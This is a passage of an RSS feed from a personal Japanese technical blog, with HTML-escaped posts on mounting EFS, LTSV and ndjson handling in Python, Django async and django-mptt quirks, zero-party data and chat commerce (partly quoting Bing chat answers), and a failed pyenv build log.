&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ./build-deb.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apt-get install -y ./build/amazon-efs-utils*deb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; ! -d $MOUNT_PATH &lt;span style="color:#f92672"&gt;]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mkdir $MOUNT_PATH
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mount -t efs $EFS_ID:/ $MOUNT_PATH
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>ltsv</title><link>https://hdknr.github.io/blogs/posts/2023/06/ltsv/</link><pubDate>Fri, 16 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/ltsv/</guid><description>&lt;h1 id="ltsv-形式"&gt;&lt;code&gt;ltsv&lt;/code&gt; 形式&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://ltsv.org/"&gt;http://ltsv.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hekyou/python-ltsv"&gt;https://github.com/hekyou/python-ltsv&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pip-install-ltsv"&gt;pip install ltsv&lt;/h2&gt;
&lt;p&gt;To process LTSV files in Python, you can use the &lt;strong&gt;ltsv&lt;/strong&gt; package available on PyPI ².
Here is an example of how to use it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; ltsv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; open(&lt;span style="color:#e6db74"&gt;&amp;#39;file.ltsv&amp;#39;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; record &lt;span style="color:#f92672"&gt;in&lt;/span&gt; ltsv&lt;span style="color:#f92672"&gt;.&lt;/span&gt;reader(f):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(record)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;This code will read the LTSV file line by line and print each record as a dictionary ¹.&lt;/p&gt;</description></item><item><title>ndjson</title><link>https://hdknr.github.io/blogs/posts/2023/06/ndjson/</link><pubDate>Wed, 14 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/ndjson/</guid><description>&lt;h2 id="ndjson"&gt;ndjson&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/rhgrant10/ndjson"&gt;https://github.com/rhgrant10/ndjson&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/3d92e36bb3bbe85b7e913e61a6490be8"&gt;Snowflake: CREATE FILE FORMAT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dk521123.hatenablog.com/entry/2022/08/30/224248"&gt;【Python】Python ～ ndjson を扱う ～&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;tablib は ndjson をサポートしていない&lt;/li&gt;
&lt;li&gt;pandas は ndjson を読み込める&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ijavascript</title><link>https://hdknr.github.io/blogs/posts/2023/06/ijavascript/</link><pubDate>Wed, 07 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/ijavascript/</guid><description>&lt;h2 id="ijavascript"&gt;ijavascript&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://n-riesco.github.io/ijavascript/index.html"&gt;https://n-riesco.github.io/ijavascript/index.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django: SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async</title><link>https://hdknr.github.io/blogs/posts/2023/05/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-use-a-thread-or-sync_to_async/</link><pubDate>Thu, 04 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-use-a-thread-or-sync_to_async/</guid><description>&lt;h2 id="jupyter-django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context---use-a-thread-or-sync_to_async"&gt;Jupyter: &lt;code&gt;Django: SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;このエラーは、asyncコンテキストから同期的なコードを呼び出そうとした場合に発生するエラーです。&lt;/p&gt;
&lt;p&gt;async-unsafeなコードを呼び出す場合は、asyncコンテキストからではなく、自分自身の同期関数で書き、それをasgiref.sync.syncを使用して呼び出すように修正する必要があります¹。&lt;/p&gt;
&lt;p&gt;¹: &lt;a href="https://stackoverflow.com/questions/61926359/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-u"&gt;Django: SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async. - Stack Overflow&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/4&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) Django: SynchronousOnlyOperation: You cannot call this &amp;hellip;. &lt;a href="https://stackoverflow.com/questions/61926359/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-u"&gt;https://stackoverflow.com/questions/61926359/django-synchronousonlyoperation-you-cannot-call-this-from-an-async-context-u&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) django.core.exceptions.SynchronousOnlyOperation after &amp;hellip;. &lt;a href="https://github.com/django/channels/issues/1464"&gt;https://github.com/django/channels/issues/1464&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) python - Django channels Async Websocket throwing Error &amp;hellip;. &lt;a href="https://stackoverflow.com/questions/63892884/django-channels-async-websocket-throwing-error-while-trying-to-use-database-quer"&gt;https://stackoverflow.com/questions/63892884/django-channels-async-websocket-throwing-error-while-trying-to-use-database-quer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(4) Django channel occasionally gets error &amp;ldquo;cannot call this from &amp;hellip;. &lt;a href="https://stackoverflow.com/questions/69239657/django-channel-occasionally-gets-error-cannot-call-this-from-an-async-context"&gt;https://stackoverflow.com/questions/69239657/django-channel-occasionally-gets-error-cannot-call-this-from-an-async-context&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(5) python - Getting SynchronousOnlyOperation error Even after &amp;hellip;. &lt;a href="https://stackoverflow.com/questions/63149616/getting-synchronousonlyoperation-error-even-after-using-sync-to-async-in-django"&gt;https://stackoverflow.com/questions/63149616/getting-synchronousonlyoperation-error-even-after-using-sync-to-async-in-django&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;DJANGO_ALLOW_ASYNC_UNSAFE&lt;/strong&gt; 環境変数を使用することで、非同期コンテキストで SynchronousOnlyOperation エラーが発生した場合に警告を無効にすることができます¹。&lt;/p&gt;</description></item><item><title>Django MPTT: values で tree_id が SELECT されてしまう</title><link>https://hdknr.github.io/blogs/posts/2023/04/django-mptt-values-%E3%81%A7-tree_id-%E3%81%8C-select-%E3%81%95%E3%82%8C%E3%81%A6%E3%81%97%E3%81%BE%E3%81%86/</link><pubDate>Fri, 28 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/django-mptt-values-%E3%81%A7-tree_id-%E3%81%8C-select-%E3%81%95%E3%82%8C%E3%81%A6%E3%81%97%E3%81%BE%E3%81%86/</guid><description>&lt;h2 id="django-mptt-values-で-tree_id-が-select-されてしまう"&gt;Django MPTT: values で tree_id が SELECT されてしまう&lt;/h2&gt;
&lt;h3 id="仕様である"&gt;仕様である&lt;/h3&gt;
&lt;p&gt;django-mptt の TreeQuerySet で values コールすると SQL に tree_id が追加されているのは、django-mptt がツリー構造を管理するために必要なカラムだからです²。tree_id は、同じツリーに属するノードに同じ値を持ちます²。例えば、以下のようなモデルがあるとします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db &lt;span style="color:#f92672"&gt;import&lt;/span&gt; models
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; mptt.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; MPTTModel, TreeForeignKey
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Category&lt;/span&gt;(MPTTModel):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CharField(max_length&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;, unique&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parent &lt;span style="color:#f92672"&gt;=&lt;/span&gt; TreeForeignKey(&lt;span style="color:#e6db74"&gt;&amp;#39;self&amp;#39;&lt;/span&gt;, on_delete&lt;span style="color:#f92672"&gt;=&lt;/span&gt;models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CASCADE, null&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, blank&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, related_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;children&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MPTTMeta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; order_insertion_by &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;このとき、以下のように values をコールすると、SQL に tree_id が追加されます²。&lt;/p&gt;</description></item><item><title>ゼロパーティデータ</title><link>https://hdknr.github.io/blogs/posts/2023/04/%E3%82%BC%E3%83%AD%E3%83%91%E3%83%BC%E3%83%86%E3%82%A3%E3%83%87%E3%83%BC%E3%82%BF/</link><pubDate>Sat, 15 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/%E3%82%BC%E3%83%AD%E3%83%91%E3%83%BC%E3%83%86%E3%82%A3%E3%83%87%E3%83%BC%E3%82%BF/</guid><description>&lt;h2 id="ゼロパーティデータ"&gt;ゼロパーティデータ&lt;/h2&gt;
&lt;p&gt;行動データにおいて、顧客が意図的・積極的に企業と共有するデータ&lt;/p&gt;
&lt;h3 id="ファーストパーティデータ企業が収集する行動データ"&gt;ファーストパーティデータ(企業が収集する行動データ)&lt;/h3&gt;
&lt;p&gt;行動データには、個人がサイトやアプリ全体、またはページ上で行う操作すべてが含まれます。
クリック操作や詳細な行動（マウスオーバー、スクロール、操作時間など）、セッション数、ユーザーのパーソナライズされた体験への関わり方なども含まれます。
ファーストパーティデータがあれば、ユーザーの関心や意図を示す貴重な指標を収集できます。
購入やダウンロードなどの取引データも、ファーストパーティデータに分類されます。&lt;/p&gt;
&lt;h3 id="サードパーティデータ企業が他団体から取得する行動データ"&gt;サードパーティデータ(企業が他団体から取得する行動データ)&lt;/h3&gt;
&lt;p&gt;自社保有していないサイトや情報源から取得、または購入したデータを指します。&lt;/p&gt;
&lt;p&gt;パーソナライズで通常使用されるサードパーティデータには、人口統計情報、企業データ、購入意思（新築住宅市場やソフトウェアの市場などの場合）と、CRM、POS、コールセンターなどから得た付加情報があります。&lt;/p&gt;
&lt;h3 id="ゼロパーティデータ顧客が意図的に企業に預けるデータ"&gt;ゼロパーティデータ(顧客が意図的に企業に預けるデータ)&lt;/h3&gt;
&lt;p&gt;Forrester Research社（英語）によって提唱された造語で、&lt;code&gt;明示的なデータ&lt;/code&gt;とも呼ばれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;顧客が意図的・積極的に企業と共有するデータです。&lt;/li&gt;
&lt;li&gt;ゼロパーティデータには、メールプリファレンスのデータ、購入意思、個人的背景、ユーザーが企業に『自分』をどのように認識してほしいかなどが含まれます&lt;/li&gt;
&lt;li&gt;アンケート、聞き取りなど&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/4199606562f115bf82bbe6a1eb44a39e"&gt;チャットコマース&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="参照"&gt;参照&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;GDPR:(General Data Protection Regulation：一般データ保護規則）(EU加盟国に同一に直接効力を持つ)&lt;/li&gt;
&lt;li&gt;CCPA:(カリフォルニア州消費者プライバシー法: California Consumer Privacy Act)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bing"&gt;Bing&lt;/h2&gt;
&lt;p&gt;ゼロパーティデータとは、顧客が意図的・積極的に企業と共有するデータのことです¹。顧客の趣味嗜好や興味関心の情報が含まれ、パーソナライズやキャンペーンを推進するのに役立ちます²³⁴。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/15&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) ゼロパーティデータとは？ | セールスフォース・ドットコム. &lt;a href="https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf"&gt;https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(2) ゼロパーティデータとは？ | セールスフォース・ジャパン. &lt;a href="https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/"&gt;https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(3) 今さら聞けない話題の「ゼロパーティ・データ」とは？ | JP &amp;hellip;. &lt;a href="https://www.criteo.com/jp/blog/what-is-zero-party-data/"&gt;https://www.criteo.com/jp/blog/what-is-zero-party-data/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(4) DX時代のカギを握る「ゼロパーティデータ」とは？いま重要視さ &amp;hellip;. &lt;a href="https://www.powerweb.co.jp/blog/entry/2022/03/15/100000"&gt;https://www.powerweb.co.jp/blog/entry/2022/03/15/100000&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ゼロパーティデータは、様々な方法で活用できます。例えば、¹⁴⁵&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;商品やサービスの改善に生かす&lt;/li&gt;
&lt;li&gt;業務改善に生かす&lt;/li&gt;
&lt;li&gt;新商品の開発に生かす&lt;/li&gt;
&lt;li&gt;パーソナライズやキャンペーンの強化に生かす&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ゼロパーティデータを活用するには、顧客IDや個人情報と紐づけて蓄積し、セグメントとして切ることが必要です²。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/15&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) ゼロパーティデータとは？ゼロパーティデータが重視される &amp;hellip;. &lt;a href="https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf%e3%81%ae%e6%b4%bb%e7%94%a8%e6%96%b9%e6%b3%95"&gt;https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf%e3%81%ae%e6%b4%bb%e7%94%a8%e6%96%b9%e6%b3%95&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(2) ゼロパーティデータの概要からおすすめの活用法まで. &lt;a href="https://data.wingarc.com/allabout_zero-party-data-39612"&gt;https://data.wingarc.com/allabout_zero-party-data-39612&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(3) ゼロパーティデータとは？重要視すべき3つの理由と収集方法を &amp;hellip;. &lt;a href="https://www.transcosmos-cotra.jp/zero-party-data"&gt;https://www.transcosmos-cotra.jp/zero-party-data&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(4) Cookieレス時代に「ゼロパーティデータ」が生み出す真の顧客 &amp;hellip;. &lt;a href="https://www.ever-rise.co.jp/dx-blog/zero-party-data/"&gt;https://www.ever-rise.co.jp/dx-blog/zero-party-data/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(5) ゼロパーティデータとは？ | セールスフォース・ジャパン. &lt;a href="https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/"&gt;https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ゼロパーティデータを収集するには、顧客に対価を提供して、自発的に情報を提供してもらうことが必要です¹²。対価としては、割引やクーポン、プレゼントなどがあります。また、設問内容や回答方法を吟味して、顧客の興味やニーズに合わせた内容にすることも大切です¹。&lt;/p&gt;</description></item><item><title>チャットコマース</title><link>https://hdknr.github.io/blogs/posts/2023/04/%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%82%B3%E3%83%9E%E3%83%BC%E3%82%B9/</link><pubDate>Sat, 15 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%82%B3%E3%83%9E%E3%83%BC%E3%82%B9/</guid><description>&lt;h2 id="チャットコマース"&gt;チャットコマース&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/1613861645cad5daf541b5f10dfb52ef"&gt;ゼロパーティデータ&lt;/a&gt;の収集手段のひとつ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="bing"&gt;Bing&lt;/h3&gt;
&lt;p&gt;日本では、メンズスキンケアブランドの&lt;strong&gt;バルクオム&lt;/strong&gt;がチャットコマースを活用しています²。バルクオムでは、ウェブサイトやLINEでチャットボットを使って、顧客にスキンケアのアドバイスや商品の紹介を行っています。チャットボットは、顧客の肌質や悩みに合わせたオススメの商品や使い方を教えてくれます。また、チャットボットから直接商品を購入することもできます。&lt;/p&gt;
&lt;p&gt;海外では、ファッションブランドの&lt;strong&gt;H＆M&lt;/strong&gt;がチャットコマースを活用しています¹。H＆Mでは、メッセージングアプリのKikでチャットボットを使って、顧客にファッションのアドバイスや商品の紹介を行っています。チャットボットは、顧客の年齢や性別、好みなどに応じてコーディネートの提案や商品のレコメンドを行ってくれます。また、チャットボットから直接商品を購入することもできます。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/15&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) チャットコマースとは？メリットや導入事例を解説｜EC Work. &lt;a href="https://ecwork.jp/3498"&gt;https://ecwork.jp/3498&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(2) 2022年に132億円市場となる、チャットコマースとは？注目・成長 &amp;hellip;. &lt;a href="https://bing.com/search?q=%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%81%ae%e4%ba%8b%e4%be%8b"&gt;https://bing.com/search?q=%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%81%ae%e4%ba%8b%e4%be%8b&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(3) 【5分で理解！】チャットコマースとは？市場・活用事例を紹介 &amp;hellip;. &lt;a href="https://atone.be/blog/%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%82%92%e3%82%8f%e3%81%8b%e3%82%8a%e3%82%84%e3%81%99%e3%81%8f%e8%a7%a3%e8%aa%ac/"&gt;https://atone.be/blog/%e3%83%81%e3%83%a3%e3%83%83%e3%83%88%e3%82%b3%e3%83%9e%e3%83%bc%e3%82%b9%e3%82%92%e3%82%8f%e3%81%8b%e3%82%8a%e3%82%84%e3%81%99%e3%81%8f%e8%a7%a3%e8%aa%ac/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(4) 【比較事例10選】チャットコマースとは？導入企業やLINEなどの &amp;hellip;. &lt;a href="https://obot-ai.com/column/9689/"&gt;https://obot-ai.com/column/9689/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(5) チャット型コマース(会話型コマース)とは何か？注目される理由 &amp;hellip;. &lt;a href="https://aixdesign.goo.ne.jp/column/chat-commerce/"&gt;https://aixdesign.goo.ne.jp/column/chat-commerce/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>pyenv install 3.9.6</title><link>https://hdknr.github.io/blogs/posts/2021/08/pyenv-install-3.9.6/</link><pubDate>Fri, 27 Aug 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/08/pyenv-install-3.9.6/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;% pyenv install 3.9.6
python-build: use openssl@1.1 from homebrew
python-build: use readline from homebrew
Downloading Python-3.9.6.tar.xz...
-&amp;gt; https://www.python.org/ftp/python/3.9.6/Python-3.9.6.tar.xz
Installing Python-3.9.6...
python-build: use readline from homebrew
python-build: use zlib from xcode sdk
WARNING: The Python readline extension was not compiled. Missing the GNU readline lib?
ERROR: The Python ssl extension was not compiled. Missing the OpenSSL lib?
Please consult to the Wiki page to fix the problem.
https://github.com/pyenv/pyenv/wiki/Common-build-problems
BUILD FAILED (OS X 11.5.2 using python-build 2.0.5-2-gb2eb2d28)
Inspect or clean up the working tree at /var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/python-build.20210827141959.69396
Results logged to /var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/python-build.20210827141959.69396.log
Last 10 log lines:
./python.exe -E -m ensurepip \
$ensurepip --root=/ ; \
fi
Looking in links: /var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/tmp24q45onf
Processing /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/tmp24q45onf/setuptools-56.0.0-py3-none-any.whl
Processing /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/tmp24q45onf/pip-21.1.3-py3-none-any.whl
Installing collected packages: setuptools, pip
WARNING: The scripts pip3 and pip3.9 are installed in &amp;#39;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/bin&amp;#39; which is not on PATH.
